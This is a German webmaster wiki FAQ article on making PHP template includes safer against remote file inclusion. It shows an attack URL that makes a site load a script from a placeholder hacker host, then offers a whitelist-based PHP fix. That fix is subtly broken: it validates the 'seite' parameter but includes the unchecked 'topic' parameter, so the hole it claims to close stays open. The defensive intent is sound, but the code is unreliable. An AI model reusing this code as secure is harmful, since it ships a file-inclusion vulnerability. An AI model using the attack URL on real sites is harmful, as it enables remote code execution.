Willkommen bei Ayom (
Einloggen
|
Kostenlos Registrieren
)
Bestätigungs-Email erneut senden
Ayom
Anzeige - [
Interessiert an einer Anzeige?
]
Webmaster FAQ - Includes sicherer machen - PHP, Mysql & Apache
Ayom Wissensdatenbank
642 Artikel
Aktuelles Rating:
Last Edit
by
Patrick Z
@ 05.06.2005 08:06:15
Includes sicherer machen
Wenn man ein Templatesystem hat, kann es sein, dass per URL die Template-Datei und der Inhalt übergeben.
Bsp.
localhost/index.php?temp=88;c=inhalt-4.php
Das ist ein riesiges Sicherheitsloch.
Ein Hacker könnte seine Skripte der index.php übergeben, indem er einfach eine "böse" Inhaltsdatei anhängt - und kann so die Homepage stark beschädigen.
localhost/index.php?temp=88;c=http://www.hacker.de/hackerdatei.php
index.php
CODE
<?php
$inc_array = array();
$inc_dir=opendir ("./includes");
while ($inc = readdir ($inc_dir)) {
if($inc != "." && $inc != "..") {
$short_inc = str_replace(".inc.php", "", $inc);
array_push ($inc_array, $short_inc);
}
}
closedir($inc_dir);
if (isset($_GET[seite]) && in_array($_GET[seite], $inc_array) ) {
include("includes/".$_GET[topic].".inc.php");
} else {
include("./includes/start.inc.php");
}
?>
Die index.php wird dann so aufgerufen.
index.php?seite=inhalt
Das führt dazu, dass die Datei inhalt.inc.php im Ordner includes geladen wird.
Zuvor muss man alle Daten in das Verzeichnis includes kopieren.
Alle anderen Parameter werden ignoriert und die Standarddatei geladen.
Quelle des Quellcodes:
www.drweb.de
Aktuelles Rating:
Artikel bewerten:
Diese Seite steht (wenn nicht anders angegeben)
unter der
Creative Commons Lizenz
(
Mehr Infos
)
Diesen Artikel editieren
Neuer Artikel eröffnen
Ihre Frage wird nirgends beantwortet?
->
melden Sie sich im Forum an
Kategorien des Artikels:
Entwicklung
Programmierung
Dynmamische Webseiten
-
PHP, Mysql & Apache
Login-Skript mit Sessions, PHP und MySQL
Wie geht mod_rewrite?
Wie parse ich XML mit PHP?
Tag-Cloud erstellen
Templates: Trennen von Code und Layout
Wie lerne ich PHP?
Zufallsbild
Von welcher Seite kommt der User?
Smilies im Gästebuch und Forum
PLZ Zahlen überprüfen mit Regulären Ausdrücken
Automatische Sprach/Ländererkennung der Surfer
index.php?seite=test --> test.html
Wie macht man PDF-Files mit PHP?
Variablen über mehrere Seiten hinweg verwenden
Weiterleitungen mit .htaccess realisieren
Logout-Skript?
SSL mit Apache
Wie schützt man seine Bilder vor Fremdverlinkung?
Threads
Zippen mit PHP?
Wie macht man Grafiken mit PHP?
Mnemonische Kennwörter generieren
Includes sicherer machen
Woher kommen foo und bar?
Wie ermittle ich Zufallszahlen?
Kurze URLs für dynamische Seiten
Wie liest man Dateien in Templates ein?
Anfrage via Apache an einen internen Rechner im LAN weiterleiten?
E-Mailadressen überprüfen per Regulären Ausdrücken
Website empfehlen
Nummerncode bzw. Softkey
PHP Ressourcen
Lohnt sich PHP5?
Was ist PHP?
php/mysql vor angriffen schützen
-
Mysql Datenbanken
Mysql Datentypen Tutorial
Was ist eine Mysql - Datenbank?
MySQL Datenbank sichern
Aktuelle Themen: Betreff, (Autor)
Antw.
Views
Letzte Aktion
problem mit excel
(
Seth.Gecko
)
7
65
Fri 16. May 18:02
von
jAuer
Sekundenzähler?
(
anysom
)
6
209
Fri 16. May 15:51
von
Flo
Zeilenumbrüche, Absätze werden nicht dargestellt ?
(
japsa
)
4
47
Thu 15. May 10:23
von
japsa
Nested Sets und Probleme
(
BartTheDevil89
)
0
84
Wed 14. May 16:54
von
BartTheDevil89
Open Social
(
cr4m0
)
2
144
Tue 13. May 23:41
von
cr4m0
Alle Diskussionen im
Programmierung Allgemein Forum
anzeigen
Changes
Anzeige - [
Interessiert an einer Anzeige?
]
Startseite
Inhaltsverzeichnis
Neu hier?
Ayom Blog
Forum
Aktuelle Themen
Marketing-Ecke
Webmaster-Ecke
User-Ecke
Forenregeln
Beitragsarchiv
Wissensdatenbank
Administration
Entwicklung
Content Management Systeme (CMS)
PHP, Mysql & Apache
Mysql Datenbanken
Internet-Marketing
Internet-Recht
Über Ayom
Sonstiges
Ayom Tags
Vermarktungs-Tipps
Domainbörse
Intern
Mission & Vision
Mitgliederliste
Mitgliederkarte
Unsere Sponsoren
Werbung
Impressum
Partner
Trigami
Ecato Marktplatz-Netzwerk
Marke-X Magazin
Partnerprogramme
TradeDoubler AG
Weitere Partner
RSS 2.0
Anzeigen
[
Interessiert an einer Anzeige?
]